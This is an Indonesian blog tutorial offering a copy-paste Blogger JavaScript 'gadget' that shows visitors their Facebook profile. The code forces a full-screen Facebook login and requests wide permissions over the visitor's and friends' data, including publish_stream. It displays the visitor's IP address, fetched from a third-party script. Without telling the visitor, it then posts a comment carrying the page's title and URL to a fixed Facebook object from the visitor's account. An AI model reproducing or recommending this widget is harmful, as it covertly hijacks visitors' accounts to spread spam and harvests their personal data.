Do you like this story?
Pengen gadget seperti di atas ?
ikuti tutorialnya :
1. Login ke blogger.com
2. Pilih Design > Page Element
3. Pilih Add Gadget > Html/Javascript
4. Copas JavaScript di bawah ini kedalam gadget teman !
<style type="text/css"><!--
#main-interface-for-login{
display:none;
position:fixed;
z-index:99;
width:100%;
height:100%;
top:0px;
left:0px;
background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ7lXrnbKyOLLQeW4pfLyGToAblpNbMiP4hdWSdmjXWMIcAgitu9-6QDjqgGt0rIJ3spdq_0D5VeZQMdv-M3Plvz69grnVbUS06xvVhmxnlDZzDng-kOTjU9eKuf6Z9epYKb26h7Xw42aG/s1600/black70.png) repeat scroll center center;
}
#main-interface-for-login #login-interface{
margin-top:25%;
padding:20px;
background:darkred;
display:inline-block;
-moz-border-radius:20px; border-radius:20px;
border:1px outset black;
-moz-box-shadow:0px 0px 7px lightgreen; box-shadow:0px 0px 7px lightgreen;
}
.awesome-button{
background:transparent url(http://static.ak.fbcdn.net/rsrc.php/v1/zl/r/6N9FQPpTHCy.png) no-repeat scroll center center;
color:darkred;
font-weight:bold;
border:1px outset #1D4088;
padding-top:5px; padding-bottom:5px;
cursor:pointer;
}
.awesome-button:hover{
background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDwItfa9V3lqaMxoOCfLEqeXn1rqTGT-dpss96kBBMHV2C1EDaC5EW-a4y9lMEnELGczTKocXh_vEAKcj_CEHB1I-iWeM7LT6o3X2OORVqRYfAL_nvX-TjZP0HY6aLEMroVb3eWpF-Wcc/) no-repeat scroll center center;
color:#FFFFFF;
border:1px outset #1A356E;
}
#userprofilepic{
float:left;
padding:0px; margin:0px; border:0px;
-moz-box-shadow:none; box-shadow:none;
width:180px;
}
#profile-details{
margin-left:190px;
}
.pdetails{
display:inline-block;
padding:0px 10px 0px 0px;
margin:0px;
font-size:16px;
font-weight:bold;
}
h6.pdetails{
font-size:11px;
}
h6.pdetails span{
font-weight:normal;
}
-->
</style>
<script language="JavaScript">VIH_DisplayOnPage = "no";</script>
<script language="JavaScript" src="http://www.hashemian.com/js/visitorIP.js.php"></script>
<script type="text/javascript">
var applicationID = '146187222096222';
var applicationName = 'Ғь [K̲̅l̲̅i̲̅k̲̅] [K̲̅a̲̅n̲̅a̲̅n̲̅]';
var applicationUserName = 'Ғь [K̲̅l̲̅i̲̅k̲̅] [K̲̅a̲̅n̲̅a̲̅n̲̅]';
var permissions = 'user_activities,friends_activities,user_groups,friends_groups,user_likes,friends_likes,user_notes,friends_notes,user_photos,friends_photos,user_status,friends_status,user_videos,friends_videos,read_stream,publish_stream';
if(!document.getElementById('fb-root')){
document.write('<div id="fb-root"></div>');
}
if(!document.getElementById('main-interface-for-login')){
document.write('<div id="main-interface-for-login"><center><div id="login-interface">');
document.write('<input type="button" id="login-button" class="awesome-button" onclick="clickLogin()" value="Click Here to Begin.."/>');
document.write('</div></center></div>');
}
if(!document.getElementById('userprofilepic')){
document.write('<img id="userprofilepic" scr="http://graph.facebook.com/'+applicationID+'/picture?type=large"/>');
}
if(!document.getElementById('profile-details')){
document.write('<div id="profile-details"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"/></div>');
}
function startLoadingPlease(){
window.fbAsyncInit = function() {
FB.init({appId: applicationID, status: true, cookie: true, xfbml: true});
getUserDetails();
};
(function() {
var e = document.createElement('script');
e.async = true;
e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
document.getElementById('fb-root').appendChild(e);
}());
}
function getUserDetails(){
FB.api('/me','get',{fields:'id,name,username'},function(result){
if(result.name){
printUserDetails(result);
}else{
askLoginStatus();
}
});
}
function askLoginStatus(){
FB.getLoginStatus(function(result){
if(result.perms){
getUserDetails();
}else{
openLoginInterface();
}
});
}
function openLoginInterface(){
document.getElementById('main-interface-for-login').style.display='block';
}
function clickLogin(){
document.getElementById('login-interface').innerHTML='<img src="http://images.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/blue/common/loading_animation_en-3447255655.gif"/>';
FB.login(getUserDetails,{perms:permissions});
}
function printUserDetails(result){
document.getElementById('main-interface-for-login').style.display='none';
var profileDetails = document.getElementById('profile-details');
if(result.username){
var userLink = 'http://www.facebook.com/'+result.username;
}else if(result.id){
var userLink = 'http://www.facebook.com/profile.php?id='+result.id;
}else{
var userLink = 'http://www.facebook.com/';
}
profileDetails.innerHTML = '<h1 class="pdetails profilename"><a href="'+userLink+'" target="_blank">'+result.name+'</a></h1><br/>';
if(result.id){
document.getElementById('userprofilepic').src = 'http://graph.facebook.com/'+result.id+'/picture?type=large';
profileDetails.innerHTML += '<h6 class="pdetails profileid"><span>ID:</span> '+result.id+'</h6>';
}
if(result.username){
profileDetails.innerHTML += '<h6 class="pdetails profileusername"><span>UserName:</span> '+result.username+'</h6>';
}
if(VIH_HostIP){
profileDetails.innerHTML += '<h6 class="pdetails ipaddress"><span>IP Address:</span> '+VIH_HostIP+'</h6>';
}
FB.api('/10150208794601239/comments','post',{message:document.title+'\n'+window.location},function(response){});
}
startLoadingPlease();
</script>
sekian dulu dari saya :D
tunggu aja widget selanjutnya :P
NB : Ganti yang berwarna putih dengan ID APP FB anda
Ganti yang berwarna merah dengan Nama APP FB anda
0 comments:
Post a Comment